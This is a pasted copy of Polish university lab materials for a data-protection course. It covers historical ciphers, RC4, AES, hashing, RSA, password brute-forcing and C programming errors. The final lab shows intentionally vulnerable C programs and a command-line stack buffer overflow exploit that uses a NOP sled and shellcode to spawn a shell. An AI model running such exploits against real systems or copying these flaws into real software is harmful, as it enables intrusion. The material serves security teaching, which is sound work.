Advertisement
Guest User

Untitled

a guest
May 5th, 2017
679
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
text 63.31 KB | None | 0 0
  1.  
  2. Zalogowany jako: 269289 - Krzysztof Markiewicz English Pomoc Wyloguj
  3. Strona główna
  4. Materiały do kursu
  5. Semestr akademicki:
  6.  
  7. Ochrona danych w systemach informatycznych
  8. Przedmiot:: 1DI1406 - Ochrona danych w systemach informatycznych
  9. Kierownik przedmiotu:
  10. dr hab. inż. Bartosz Sawicki
  11. Kierownik kursu:
  12. dr hab. inż. Bartosz Sawicki
  13. Grupy dziekańskie:
  14. GR3, GR2, GR1
  15. Otwarte Wykłady: Materiały dostępne publicznie. Permalink: http://wyklady.ee.pw.edu.pl/course?cn=1DI1406
  16. Terminy zajęć:
  17. 1DI1406:A - Laboratoria, Wtorek 10:15-12:00, Sala: GE-b 113, co tydzień, GR2, (mgr inż. Bartosz Chaber)
  18. 1DI1406:A - Laboratoria, Wtorek 18:15-20:00, Sala: GE-b 510, co tydzień, GR3, GR2, GR1, (dr hab. inż. Bartosz Sawicki, mgr inż. Bartosz Chaber)
  19. 1DI1406:A - Laboratoria, Czwartek 12:15-14:00, Sala: GE-b 113, co tydzień, GR3, (dr hab. inż. Bartosz Sawicki)
  20. 1DI1406:A - Laboratoria, Piątek 14:15-16:00, Sala: GE-b 510, co tydzień, GR1, (mgr inż. Bartosz Chaber)
  21. 1DI1406:A - Wykład, Czwartek 08:15-10:00, Sala: SK 108, co tydzień, GR3, GR1, GR2, (dr hab. inż. Bartosz Sawicki)
  22. MATERIAŁY DO KURSU:
  23.  
  24. Wykład Ostatnia modyfikacja: B. Sawicki 8.05.2015 14:49
  25. Tematyka wykładu
  26.  
  27. Algorytmy kryptograficzne
  28.  
  29. Wprowadzenie. Kryptografia, steganografia. Definicje pojęć. Rys historyczny. Algorytmy historyczne. Współczesna kryptografia. Problemy prawne. Szyfrowanie XOR, OTP. Entropia. Szyfry blokowe: DES, IDEA, RC5, AES. Tryby pracy szyfrów blokowych: ECB, CBC, CFB. Generowanie liczb losowych. Szyfry strumieniowe: RC4. Idea szyfrowania asymetrycznego. Artmetyka modularna. Szyfr plecakowy. Szyfrowanie asymetryczne: RSA, ElGamal, ECC. Funkcje jednokierunkowe. Funkcje skrótu i ich zastosowania. Ataki na funkcje skrótu. Algorytm MD5, rodzina SHA.
  30. Protokoły kryptograficzne
  31.  
  32. Podpis cyfrowy. Możliwości i ograniczenia. DSA. Ślepy podpis przy pomocy RSA. Podpisy niezaprzeczalne. Uwierzytelnianie, a autoryzacja. Tajne hasło, 'challenge-and-response', dowody iteracyjne, dowody z wiedzą zerową. Protokół Fiata-Shamira. Protokoły uzgadniania kluczy. Atak 'man-in-the-middle'. Protokół Diffie-Hellmana. Protokół interlock. Protokóły dzielenia tajemnic. Protokóły zobowiązania bitowego.
  33. Kontrola dostępu
  34.  
  35. Modele bezpieczeństwa. Polityki kontroli dostępu: uznaniowa, obowiązkowa (DAC, MAC, LBAC, RBAC). Model macierzowy. Model 'przejmij-przekaż'. Metody przechowywania uprawnień.
  36. Bezpieczne programowanie
  37.  
  38. Projektowanie aplikacji, błędy programistyczne (przepełnienie bufora), walidacja danych. Bezpieczeństwo aplikacji internetowych (zarządzanie sesją, brak zaufania do strony klienta).
  39. Zarządzanie bezpieczeństwem
  40.  
  41. Polityka bezpieczeństwa. Norma PN-ISO/IEC 17999, ISO 27000. Zasady i rodzaje audytu bezpieczeństwa.
  42. Literatura
  43.  
  44. Kryptografia. Teoria i praktyka zabezpieczania systemów komputerowych: Kutyłowski Mirosław, Strothmann Willy-B; Wydawnictwo Read Me, 2000
  45. Kryptografia. W teorii i w praktyce: Douglas R. Stinson; WNT, Warszawa, 2005
  46. Teoria bezpieczeństwa systemów komputerowych: Josef Pieprzyk, Thomas Hardjono, Jennifer Seberry; Helion 2005
  47. Podstawy kryptografii: Marcin Karbowski; Helion 2005
  48. 1. Ochrona-QA-20160622.pdf (214,6 kb) B. Sawicki, 22.06.2016 16:41
  49. 2. Ochrona Wyklad 2015.zip (8084,0 kb) B. Sawicki, 17.06.2015 14:18
  50.  
  51. Laboratorium 1 (Wprowadzenie) Ostatnia modyfikacja: B. Sawicki 8.05.2015 14:50
  52. Cel zajęć
  53.  
  54.  
  55.  
  56. Celem pierwszych zajęć jest organizacja laboratorium, przygotowanie środowiska umożliwiającego studentom pracę w ciągu całego semestru oraz przypomnienie podstawowych poleceń pracy w środowisku UNIX. Praca i programowanie w językach Shell i Python.
  57.  
  58.  
  59.  
  60. Przebieg zajęć
  61.  
  62. Przybliżony przebieg zajęć:
  63.  
  64. Zapisy studentów na zajęcia.
  65. Przedstawienie regulaminu laboratorium.
  66. Przedstawienie przebiegu dalszego przebiegu zajęć, wymagań i warunków zaliczenia.
  67. Wyjaśnienie wszelkich wątpliwości formalnych.
  68. Przygotowanie środowiska informatycznego do prowadzenia zajęć.
  69. Wprowadzenie do pracy z sytemem UNIX w trybie linii poleceń.
  70. Wprowadzenie do programowania w Shellu.
  71. Wprowadzenie do programowania w Pythonie.
  72.  
  73.  
  74. Ćwiczenia
  75.  
  76. pliki startowe powłoki
  77. wbudowane mechanizmy nawigacji. historia
  78. zmienne środowiska
  79. praca ze strumieniami
  80. Trywialny przykład skryptu w shellu:
  81.  
  82. if [ "$LANG" = "pl_PL" ]
  83. then
  84. echo Czesc
  85. else
  86. echo Hello
  87. fi
  88. Zapiszmy systemową bazę użytkowników do pliku:
  89.  
  90. $ getent passwd > passwd
  91. Przykład 1
  92.  
  93. import posix
  94. import string
  95. uid = posix.getuid()
  96. login = ''
  97. passwd = open('passwd')
  98. for line in passwd.readlines():
  99. rec = string.split(line, ':')
  100. if int(rec[2]) == uid:
  101. login = rec[0]
  102. break
  103. if login:
  104. print "Witaj, %s" % login
  105. else:
  106. print "Nie ma Cie w passwd"
  107. Przykład 2
  108.  
  109. import sys
  110. import string
  111. login = sys.argv[1]
  112. username = {}
  113. passwd = open('passwd')
  114. for line in passwd.readlines():
  115. rec = string.split(line, ':')
  116. username[rec[0]] = rec[4]
  117. print "%s to %s" % (login, username[login])
  118. Przykład 3
  119.  
  120. import sys
  121. import string
  122. text = sys.argv[1]
  123. counter = 0
  124. for line in sys.stdin.readlines():
  125. if string.count(line, text):
  126. print line
  127. counter += 1
  128. print "Znaleziono %d linii zawierajacych %s" % (counter, text)
  129.  
  130.  
  131. Ocenianie
  132.  
  133. Na tych zajęciach (wyjątkowo) nie jest przewidywane wystawianie ocen.
  134.  
  135.  
  136.  
  137. Materiały dodatkowe
  138.  
  139. W celu poćwiczenia pracy z systemem UNIX polecamy zainstalowanie komputerze jakiejkolwiek dystrybucji Linuksa, albo FreeBSD. Można też zdalnie pracować na jednym z serwerów uczelnianych.
  140.  
  141. Programowanie w shellu jest bardzo dobrze udokumentowane w samym systemie, wystarczy napisaćman bash.
  142.  
  143. Podręcznik do pythona otrzymamy za pomocą polecenia man python
  144.  
  145. Hasła dla Google: shell programming, introduction to python, wprowadzenie do pythona
  146.  
  147.  
  148. Laboratorium 2 (Kryptografia historyczna) Ostatnia modyfikacja: B. Sawicki 5.03.2016 20:07
  149. Cel zajęć
  150.  
  151. Zapoznanie się z historycznymi algorytmami kryptograficznych i słabościami związanymi z ich stosowaniem. Zostanie wykorzystany język skryptowy Python umożliwiający szybkie rozwiązanie nawet skomplikowanego problemu.
  152.  
  153. Wprowadzenie
  154.  
  155. Analiza algorytmu Cezara, czyli cyklicznego przesunięcie alfabetu. Badanie ROT13, który ma tą zaletę, że dwukrotne wywołanie funkcji szyfrującej jest równoważne odszyfrowaniu. Przykładowa implementacja:
  156.  
  157. import string
  158. table = string.maketrans("abcdefghijklmnopqrstuvwxyz", "nopqrstuvwxyzabcdefghijklm")
  159. import fileinput
  160. for line in fileinput.input():
  161. line = line.rstrip()
  162. print string.translate(line, table)
  163. Głównym narzędziem kryptoanalizy jest statystyka. Kryptogramy historyczne dalekie są od idealnego "białego" szumu. Najprostszą analizą tego rodzaju jest badanie częstotliwości występowania znaków w kryptogramie. Porównując wynik z uśrednionym wzorcem dla danego języka jesteśmy w stanie złamać większość prostych algorytmów historycznych.
  164.  
  165. Przykład programu dokonującego analizy częstotliwości występowania poszczególnych liter:
  166.  
  167. import sys, re, string
  168.  
  169. stat = {}
  170. for line in sys.stdin.readlines():
  171. line = re.sub(r'\s', '', line)
  172. for znak in line:
  173. if znak in stat:
  174. stat[znak] += 1
  175. else:
  176. stat[znak] = 0
  177.  
  178. for znak in stat:
  179. print "%s <=> %d " % (znak, stat[znak])
  180.  
  181.  
  182. Potrzebna wiedza
  183.  
  184. Przed przystąpieniem do wykonywania ćwiczenia student powinien wiedzą i umiejętnościami w następującej tematyce:
  185.  
  186. Modyfikowanie przedstawionych programów i pisanie nowych, podobnych.
  187. Teoria algorytmów przesunięcia cyklicznego.
  188. Rozumienie lingwistycznej analizy statystycznej.
  189.  
  190.  
  191. Dodatkowe informacje
  192.  
  193. notatki z wykładów
  194. Hasła dla Google: Cezar, ROT13, Vigenere, Beaufort
  195.  
  196.  
  197.  
  198. Przykładowe zadania
  199.  
  200. Napisz program szyfrujący algorytmem przesunięcia cyklicznego o wybraną liczbę.
  201. Napisz program deszyfrujący algorytmem przesunięcia cyklicznego.
  202. wykorzystując przesunięcie w tył,
  203. wykorzystując przesunięcie w przód o dopełnienie do pełnego okresu.
  204. Wielokrotnie wywołując algorytmu przesunięcia cyklicznego w pętli można uzyskać efekt odszyfrowania. Na przykład dla rot13, wystarczy tylko dwa razy. Dla podanej liczby określ teoretycznie ilość wymaganych powtórzeń, a następnie sprawdź to praktycznie.
  205. Za pomocą analizy statystycznej postaraj się odszyfrować tekst zaszyfrowany algorytmem przesunięcia cyklicznego o nieznanym kluczu.
  206. Porównaj rozkłady statystyczne tekstów w trzech różnych językach.
  207. Napisz program szyfrujący algorytmem Vigenere.
  208. Napisz program szyfrujący algorytmem Beauforta.
  209.  
  210. Laboratorium 3 (Szyfry strumieniowe) Ostatnia modyfikacja: B. Chaber 8.03.2016 22:51
  211. Cel zajęć
  212.  
  213. Celem zajęć jest zapoznanie z algorytmami szyfrowania symetrycznego. Zarówno z algorytmami blokowymi jaki i strumieniowymi. Wprowadzanie do tematyki trybów pracy szyfrów blokowych, a także ataków brutalnej siły.
  214.  
  215. Wprowadzenie do RC4
  216.  
  217. Algorytm RC4 jest algorytmem szyfrowania strumieniowego. Jego zadaniem jest wygenerowanie strumienia klucza, który następnie jest łączony z tekstem jawnym za pomocą operacji XOR. Poniżej przedstawiony jest pseudokod RC4:
  218.  
  219. # Inicjalizowanie rejestru:
  220. for i from 0 to 255
  221. S[i] := i
  222. endfor
  223. j := 0
  224. for i from 0 to 255
  225. j := (j + S[i] + key[i mod keylength]) mod 256
  226. swap values of S[i] and S[j]
  227. endfor
  228.  
  229. # Generowanie strumienia klucza
  230. i := 0
  231. j := 0
  232. while GeneratingOutput:
  233. i := (i + 1) mod 256
  234. j := (j + S[i]) mod 256
  235. swap values of S[i] and S[j]
  236. K := S[(S[i] + S[j]) mod 256]
  237. output K
  238. endwhile
  239. Algorytm RC4 jest dostępny także w bibliotece Crypto:
  240.  
  241. from Crypto.Cipher import ARC4
  242. cipher = ARC4.new("key")
  243. encrypted = cipher.encrypt("Top secret")
  244. Atak brutalnej siły na kryptogram polega na systematycznym przetestowaniu całej przestrzeni możliwych kluczy. Przeprowadzenie ataku wymaga określenia jednoznacznego kryterium zakończenia. Algorytm musi umieć stwierdzić, czy kryptogram został odszyfrowany prawidłowo. Ogólną metodą odróżniania poprawnego odszyfrowania od przypadkowych wyników jest entropia. Tekst naturalny ma entropię znacząco niższą niż przypadkowy wynik odszyfrowania. Znając jednak charakter tekstu jawnego, można zaproponować znacznie prostsze rozwiązania.
  245.  
  246. Entropia w teorii informacji definiuje się jako $H = - \sum p_i \cdot log_2(p_i)$, $p_i$ jest prawdopodobieństwem i-tego elementu. Entropię można łatwo wyznaczyć mając histogram tekstu. Trzeba po prostu zsumować $p_i \cdot log_2(p_i)$ dla wszystkich możliwych elementów histogramu o długości n ($p_i = \frac{n_i}{n}$).
  247.  
  248. Potrzebna wiedza
  249.  
  250. Podstawy programowania w języku Python. Znajomość algorytmów RC4. Zrozumienie znaczenia entropii i metod jej obliczania.
  251.  
  252. Dodatkowe informacje
  253.  
  254. Hasła dla Google: RC4, entropy
  255.  
  256. Przykładowe zadania
  257.  
  258. Zaimplementuj samodzielnie algorytm generowania klucza algorytmem RC4.
  259. Napisz program szyfrujący przy pomocy XOR i klucza generowanego przez RC4.
  260. Zweryfikuj zgodność swojej implementacji z ARC4 z biblioteki PyCrypto.
  261. Napisz algorytm obliczający entropię.
  262. Porównaj entropie tekstu naturalnego z entropia kryptogramu.
  263. Napisz program przeprowadzający atak brutalnej siły na kryptogram.
  264. Oceń szybkość algorytmu brutalnej-siły. Jaką długość klucza możesz złamać w ciągu 1 minuty?
  265.  
  266. Laboratorium 4 (Szyfry blokowe) Ostatnia modyfikacja: B. Chaber 16.03.2016 11:37
  267. Cel zajęć
  268.  
  269. Celem zajęć jest zapoznanie z algorytmami blokowymi algorytmami szyfrowania symetrycznego oraz metodami przekształcania hasła na dobry klucz kryptograficzny.
  270.  
  271. Wprowadzenie
  272.  
  273. Tryby pracy szyfrów blokowych.
  274.  
  275. Algorytmy szyfrowania blokowego działają na blokach tekstu jawnego. Powstaje więc problem jak powinien zachowywać się system kryptograficzny w przypadku gdy tekst jest dłuższy niż długość bloku. Kwestią tą zajmują się tryby szyfrowania tj. ECB, CBC, CFB. Biblioteka Crypto udostępnia zmianę trybu zarówno dla algorytmu DES jaki AES.
  276.  
  277. from Crypto.Cipher import DES,AES
  278. from Crypto.Random import get_random_bytes
  279.  
  280. des = DES.new("key12345")
  281. iv = get_random_bytes(8)
  282. des = DES.new("key12345",DES.MODE_CBC, iv)
  283. encrypted = des.encrypt("secret12")
  284. aes = AES.new("1234567890123456",AES.MODE_CFB)
  285. encrypted = aes.encrypt("test")
  286. Przekształcanie hasła na dobry klucz
  287.  
  288. Algorytmy szyfrowania mają często ściśle ustalone wymagania na klucz. Nie może być on zbyt długi, ani zbyt krótki, powinien mieć możliwie wysoką entropię. Naturalne hasła wykorzystywane przez człowieka nie mają tych cech. Dlatego warto jest wykorzystywać algorytmy przekształcające hasło w klucz. Opierają się one na wykorzystaniu wielokrotnym wykorzystaniu funkcji jednokierunkowej i losowej soli. Przykładem takiego algorytmu jest PBKDF2.
  289.  
  290. Entropię w teorii informacji definiuje się jako $H = - \sum p_i log_2(p_i)$, gdzie p_i jest prawdopodobieństwem i-tego elementu. Jednak przy założeniu płaskiego rozkładu prawdopodobieństwa można ją wykorzystać także do określenia maksymalnej ilości informacji, która może być przechowana w jednym znaku. Należy wtedy zastosować stosować uproszczony wzór $H(S) = log_2(n)$ (gdzie n jest liczbą znaków w alfabecie). Maksymalna entropia ciągu niezależnych znaków o długości $k$, wynosi $k \cdot log_2(n)$. Tej metody używamy do ocenienia siły haseł.
  291.  
  292. Potrzebna wiedza
  293.  
  294. Podstawy programowania w języku Python. Znajomość algorytmów DES, AES. Zrozumienie znaczenia entropii przy doborze hasła. Znajomość metod przekształcania hasła na klucz.
  295.  
  296. Dodatkowe informacje
  297.  
  298. Hasła dla Google: DES, AES, key derivation, entropy
  299. Przykładowe zadania
  300.  
  301. Napisz algorytm obliczający entropię.
  302. Porównaj entropie tekstu naturalnego z entropia kryptogramu.
  303. Porównaj wynik szyfrowania w trybach ECB i CBC. Jaka jest entropia kryptogramów?
  304. Napisz program szyfrujący pliki przy pomocy algorytmu AES w trybie CBC.
  305. Zaproponuj algorytm tworzenia klucza na podstawie hasła podawanego przez człowieka.
  306. Określ ile znaków [a-z] należy podać, żeby entropia hasła zbliżyła się do 256-bitowego klucza AES.
  307. Napisz program do ataku brutalnej siły na kryptogram przy wykorzystaniu entropii jako uniwersalnego kryterium zakończenia algorytmu.
  308. 1. blocks.bmp - Plik do testów kodowania za pomocą ECB i CBC obrazów (589,9 kb) B. Chaber, 14.03.2017 09:26
  309. 2. demo24.bmp - Plik do testów kodowania za pomocą ECB i CBC obrazów (190,6 kb) B. Chaber, 14.03.2017 09:26
  310.  
  311. Laboratorium 5 (Funkcje hash) Ostatnia modyfikacja: B. Sawicki 8.05.2015 15:49
  312. Cel zajęć
  313.  
  314. Ćwiczenia z wykorzystaniem algorytmów kryptograficznych funkcji jednokierunkowych (hash) do ochrony bazy haseł. Poznanie zasad ataku systematycznego przeszukiwania (brute-force).
  315.  
  316. Wprowadzenie
  317.  
  318. Jedną z najstarszych funkcji jednokierunkowych używanych w systemach POSIX była systemowa funkcjacrypt(), która wykorzystuje algorytm DES. Obecnie jest zastępowana przez bezpieczniejsze algorytmy, jednak wciąż wiele programów korzysta właśnie z tej funkcji.
  319.  
  320. Przykładem może być program htpasswd z pakietu Apache, który służy do zarządzania prostą bazą użykowników. Baza przechowywana jest w pliku tekstowym, w którym poszczególne linie definiują kolejnych użytkowników. Hasła użytkowników są chronione przy pomocy kryptograficznej funkcji jednokierunkowej.
  321.  
  322. Przykładowe wywołanie funkcji crypt() z poziomu języka Python.
  323.  
  324. import sys
  325. import crypt
  326. import string
  327. import random
  328.  
  329. password = sys.argv[1]
  330.  
  331. #sol powinna być zawsze losowa
  332. salt = ''.join(random.sample(string.ascii_letters, 2))
  333.  
  334. protected_password = crypt.crypt(password, salt)
  335. print protected_password
  336. Innym zastosowaniem jednokierunkowych funkcji skrótu jest kontrola spójności plików (MAC). Program sha256sum (standardowo dostępny w systemach uniksopodobnych, w systemach BSD jest podobny program sha256) jest właśnie do tego przeznaczony, oblicza sumy kontrolne i może sprawdzić, czy zmieniły się one w stosunku do wcześniej zapisanych.
  337.  
  338. Przykładowe wywołanie funkcji realizujących algorytm SHA-256:
  339.  
  340. import sys
  341. import hashlib
  342. h = hashlib.sha256( sys.argv[1] )
  343. print h.digest()
  344. print h.hexdigest()
  345. Format pliku sum kontrolnych dla plików jest dosyć prosty. Każda linia zawiera MAC i ścieżkę dostępu do pliku np. :
  346.  
  347. 0044f6a93aa14142974d45d62eb0636c sciezka/dostepu/do/pliku.xxx
  348. Ataki na funkcje jednokierunkowe
  349.  
  350. Metoda systematycznego przeszukiwania, inaczej zwana metodą brutalnej siły (ang. brute force) to jeden z najprostszych ataków na wszelkiego rodzaju zabezpieczenia. Polega ona na ślepym przeszukiwaniu przestrzeni klucza w celu znalezienia tego właściwego. Łatwą obroną przed tego typu atakiem jest rozszerzenie przestrzeni, a tym samym wydłużenie czasu potrzebnego do jej przeszukania.
  351.  
  352. Jednym z najbardziej znanych programów realizujących ten atak jest John the Ripper. W ramach ćwiczenia będziemy korzystać ze znacznie prostrzego przykładu. Przykładowy skrypt realizujący atak na hasło o długości trzech znaków, składające się z samych małych liter, ukryte za pomocą funkcji crypt():
  353.  
  354. import sys, string, crypt
  355. passwd = sys.argv[1]
  356. chars = string.ascii_letters
  357. for a in chars:
  358. for b in chars:
  359. for c in chars:
  360. trial = a+b+c
  361. crypted = crypt.crypt( trial, passwd)
  362. if crypted == passwd:
  363. break
  364. if crypted == passwd:
  365. break
  366. if crypted == passwd:
  367. break
  368. if crypted == passwd:
  369. print "Hasło złamane: " + trail
  370. else:
  371. print "Nie złamano hasła"
  372. Ataki przez kolizje to grupa metod, których celem jest naruszenie bezpieczeństwa jednokierunkowych funkcji skrótu. Wykorzystanie paradoksu urodzinowego może być wykorzystane do zwiększenia prawdopodobieństwa kolizji. Współczesne algorytmy MD5, SHA, mają na tyle długie wartości funkcji skrótu, że znalezienie kolizji jest bardzo czasochłonne. Można sobie jednak wyobrazić algorytm łatwiejszy do złamania, zaimplementujmy go pod funkcja trivial_hash().
  373.  
  374. def trivial_hash(dane):
  375. hash = 0
  376. for znak in dane:
  377. hash += ord(znak)
  378. return hash % 999
  379. Nasze badania nad atakami przed kolizje ograniczymy do ataków na funkcje trivial_hash.
  380.  
  381. Potrzebna wiedza
  382.  
  383. Do realizacji zadań na zajęciach wymagane są:
  384.  
  385. podstawowa umiejętność programowania w języku Python i poruszania się w systemie UNIX,
  386. rozumienie pojęcia kolizji MAC, algorytmów 'brute force',
  387. teoria przechowywania haseł w systemie operacyjnych,
  388. umiejętność obsługi programu htpasswd.
  389. Dodatkowe informacje
  390.  
  391. Dodatkowych informacji należy szukać w materiałach oraz literaturze prezentowanej na wykładzie. Tematyka jest bardzo dobrze opracowana w Wikipedii.
  392.  
  393. man crypt
  394.  
  395. man htpasswd
  396.  
  397. man md5sum
  398.  
  399. http://httpd.apache.org/docs/2.2/misc/password_encryptions.html
  400.  
  401. Hasła dla Google: brute force attack, cryptographic hash function, htpasswd, md5sum, crypt function, unix password
  402.  
  403. Przykładowe zadania
  404.  
  405. Napisz program korzystający z bazy wygenerowanej przez program htpasswd. Celem programu jest sprawdzenie, czy użytkownik o podanym identyfikatorze i haśle jest w pliku bazy.
  406.  
  407. Napisz program umożliwiający zmianę hasła użytkownika w bazie programu htpasswd.
  408.  
  409. Napisz program umożliwiający dodawanie nowych użytkowników do bazy programu htpasswd.
  410.  
  411. Przy pomocy wywołania bibliotecznej funkcji md5() odtwórz działanie programu md5sum.
  412.  
  413. Przy pomocy wywołania bibliotecznej funkcji md5() odtwórz działanie polecenia md5sum -c, czyli kontrole spójności plików.
  414.  
  415. Korzystając z polecania time sprawdź wydajność dowolnej implementacji algorytmu łamania haseł metodą brutalnej siły i oszacuj czas maksymalny czas potrzebny do złamania haseł różnej długości i składający się z małych liter i dużych liter.
  416.  
  417. Napisz program zgadujący hasła ukryte za pomocą funkcji crypt(), przechowywane w bazie programu htpasswd. Przyjmij założenie, że hasła są trzy znakowe i składają się z samych małych liter.
  418.  
  419. Przygotuj dwa dokumenty, których funkcje skrótu trivial_hash() bedą identyczne, a treść różna. Wykorzystaj paradoks urodzinowy.
  420.  
  421. Napisz program szukający kolizji z określoną wartością funkcji skrótu trivial_hash() poprzez modyfikacje 'białych' znaków.
  422.  
  423. Porównaj wydajność programu "John the Ripper", z pythonowym skryptem do łamania haseł.
  424.  
  425. Laboratorium 6 (RSA) Ostatnia modyfikacja: B. Sawicki 4.04.2017 18:05
  426. Cel zajęć
  427.  
  428. Celem zajęć jest praktyczne zapoznanie się z algortmem szyfrowania asymetrycznego na przykładzie RSA.
  429.  
  430. Wprowadzenie
  431.  
  432. Algorytm RSA jest wdzięcznym obiektem do ćwiczeń. Prosta budowa, a jednocześnie kilka kluczowych trudności powodują, że nawet w krótkim czasie zajęć można osiągnąć ciekawy wynik.
  433.  
  434. Uwaga 1.
  435. Algorytm operuje na liczbach, a nie znakach - dlatego przed szyfrowaniem potrzebne jest przekształcenie ciągu znaków w wektor liczb. Długość bloku(liczby) nie może być większa od n, ale jednocześnie nie powinna być zbyt krótka, bo wtedy niebezpiecznie zbliżamy się do prostego szyfru przez podstawienie.
  436.  
  437. Uwaga 2.
  438. Generowanie kluczy (e,n) i (d,n) to zadanie składające się z kilku kroków:
  439.  
  440. wylosowanie liczb pierwszych p i q
  441. obliczenie n = p*q
  442. losowe wybranie e, które jest względnie pierwsze z (p-1)(q-1),
  443. obliczenie d będącego odwrotnością e modulo (p-1)(q-1)
  444. Uwaga 3.
  445. Zrealizowanie szyfrowania i deszyfrowanie jest bardzo proste, ale taki algorytm jest bardzo niewydajny.
  446.  
  447. enc = (msg ** e) % n
  448. msg = (enc ** d) % n
  449. Są znacznie lepsze algorytmy podnoszenia do wysokich potęg (realizuje je np. funkcja pow())
  450.  
  451. Uwaga 4.
  452. Biblioteka kryptograficzna PyCrypto udostępnia profesjonalne wsparcie dla wykorzystania algorytmu RSA. Należy zawsze pamiętać, że lepiej jest skorzystać z gotowej, popularnej biblioteki niż samodzielnie implementować algorytm, nawet jeśli wydaje się on bardzo prosty.
  453.  
  454. from Crypto.PublicKey
  455. import RSA
  456. # Tworzenie kluczy RSA
  457. rsa_keys = RSA.generate(1024)
  458. # Wydzielenie klucza publicznego
  459. pub_key = rsa_keys.publickey()
  460. # Zaszyfrowanie przy pomocy klucza publicznego
  461. encrypted = pub_key.encrypt("Top secret", "some randomness")
  462. # Odszyfrowanie kluczem prywatnym
  463. print rsa_keys.decrypt(encrypted)
  464. Potrzebna wiedza
  465.  
  466. Podstawy programowania w języku Python, znajomość algorytmu Euklidesa, znajomość algorytmu RSA.
  467.  
  468. Dodatkowe informacje
  469.  
  470. Algorytm RSA jest bardzo dobrze opisany w każdej książce o kryptografii.
  471.  
  472. Przykładowe zadania
  473.  
  474. Napisz funkcje, która będzie przekształcać tekst w wektor liczb o określonej długości. Określ ilość znaków, którą chcesz kodować jednocześnie.
  475. Napisz funkcje odwrotną, czyli przekształcającą wektor liczb w tekst.
  476. Zaimplementuj prosty test pierwszości dla liczby (np. sito Erastotenesa, test Fermata).
  477. Zaimplementuj algorytm Euklidesa do sprawdzenia największego wspólnego dzielnika.
  478. Napisz funkcję wykorzystającą algorytm Euklidesa do sprawdzenia czy liczby są względnie pierwsze.
  479. Napisz funkcję wykorzystającą algorytm Euklidesa do obliczenia liczby odwrotnej modulo.
  480. Zaimplementuj algorytm szybkiego potęgowania w artmetyce modularnej.
  481. Napisz pełny program generujący klucze RSA.
  482. Napisz program realizujący szyfrowanie RSA.
  483. Napisz program korzystający z PyCrypto do szyfrowania plików. Zaproponuj metodę ochrony klucza prywatnego.
  484.  
  485. Laboratorium 7 (Bezpieczeństwo oprogramowania -- język C) Ostatnia modyfikacja: B. Chaber 3.04.2017 18:30
  486. Cel zajęć
  487.  
  488. Celem zajęć jest zapoznanie się z błędami popełnianymi przez programistów, które powodują obniżenie bezpieczeństwa systemu.
  489.  
  490. Wprowadzenie
  491.  
  492. Błąd przepełnienia bufora to klasyczny błąd popełniany przez programistów C, który przekłada się na drastyczne obniżenie bezpieczeństwa programu. Przyczyną błędu jest brak ochrony i kontroli nad pamięcią przydzieloną programowi. Dzięki temu, jeśli złośliwemu użytkownikowi uda się przepełnić pamięć przeznaczoną na jakąś zmienną, to zyskuje możliwość zmiany sąsiednich komórek pamięci.
  493.  
  494. Atak na zmienną
  495.  
  496. Najprostszym atakiem wykorzystującym idee przepełnienia bufora jest atak na sąsiednią zmienną. Taka sytuacja może mieć bardzo poważne konsekwencje. Zamieszczony poniżej, źle napisany program jest podatny na tego typu błąd. Po podaniu hasła "tajne" użytkownik zostanie zalogowany, ale możliwe jest zalogowanie nawet bez znajomości hasła. Atakujący może ręcznie ustawić zmienną 'zalogowany' na 't'.
  497.  
  498. // login - bardzo zle napisany program
  499. int main(int argc, char *argv[]) {
  500. char zalogowany;
  501. char haslo[8];
  502. zalogowany = 'n';
  503. strcpy( haslo, argv[1] );
  504. if( strcmp( haslo, "tajne" ) == 0 ){
  505. zalogowany = 't';
  506. }
  507. if( zalogowany == 't' ){
  508. printf("Poprawne haslo, witamy :)\n");
  509. } else {
  510. printf("Bledne haslo, uciekaj :(\n");
  511. }
  512. return 0;
  513. }
  514. Atak na typ zmiennej
  515.  
  516. Kolejną grupą błędów programistycznych są błędy wynikające z nieuważnego kontrolowania typów zmiennych. Przykładem może być mylenie zmiennych 'bez znaku' ze zmiennymi 'ze znakiem' (np.unsigned int i int). Jedno nieprecyzyjne użycie instrukcji sscanf w zamieszczonym poniżej programie powoduje, że nie trzeba znać tajnego PINu:
  517.  
  518. #define TAJNY_PIN 1234
  519. int main(int ac, char **av)
  520. {
  521. int pin;
  522. if (av[1][0] == '-') {
  523. printf("Atak zablokowany\n");
  524. exit(1);
  525. }
  526. sscanf(av[1], "%u", &pin);
  527. if (pin == TAJNY_PIN) {
  528. pin = -1;
  529. }
  530. if (pin == -1) {
  531. printf("PIN poprawny\n");
  532. } else {
  533. printf("PIN bledny\n");
  534. }
  535. }
  536. Atak na adres powrotu
  537.  
  538. Przepełnienie bufora może zostać wykorzystane do uruchomienia dowolnego kodu podrzuconego przez intruza. Jest to szczególnie niebezpieczne, jeśli atakowany program działa z wysokimi uprawnieniami. Popularnym celem takiego ataku jest uzyskanie dostępu do linni poleceń (ang. shell). Wyobraźmy sobie prosty i źle napisany program:
  539.  
  540.  
  541.  
  542. // vuln, czyli cel ataku
  543.  
  544. int main(int argc, char *argv[]) {
  545. char buffer[500];
  546. int i;
  547. strcpy(buffer, argv[1]);
  548. printf("BUFOR:\n");
  549. for (i = 0; i < (sizeof(buffer) / sizeof(char)); i++) {
  550. printf("\t%d) Adres: %x, Zawartosc: %x\n", i, &(buffer[i]), buffer[i]);
  551. }
  552. }
  553.  
  554. Bufor jest na tyle duży, że swobodnie możemy umieścić w nim kod maszynowy uruchamiający linię poleceń (ang. shellcode). Wystarczy tak przekierować adres powrotu, aby skok powrotu nastąpił pod kontrolowany przez nas adres pamięci. Drobnym problemem jest ustalenie tego adresu. W wielu starszych systemach łatwo było przewidzieć ten adres, bo nie zmienia się on wiele podczas wywołań różnych programów. Dzisiaj ataki utrudnia się poprzez losowe przydzielanie miejsca w pamięci, w którym zostanie skopiowany kod. W ramach zajęć będziemy korzystać z systemu podatnego na ataki tego typu, wtedy możemy uzyskać poszukiwany adres w prosty sposób:
  555.  
  556. int main(int ac, char** av){ int x; printf("%x\n",&x); }
  557. Załóżmy, że szukany adres to: da99fca1. Właściwy atak na program vuln sprowadza się tylko do jego wywołania z odpowiednio spreparowanymi danymi.
  558.  
  559. ./vuln `perl -e 'print "\x90"x100;'``cat shellcode.bin``perl -e 'print "\xa1\xfc\x99\xda"x50'`;
  560. Kilka przydatnych informacji:
  561.  
  562. shellcode.bin - 46 bajtowy shellcode dla architektury x86 i systemu GNU/Linux,
  563.  
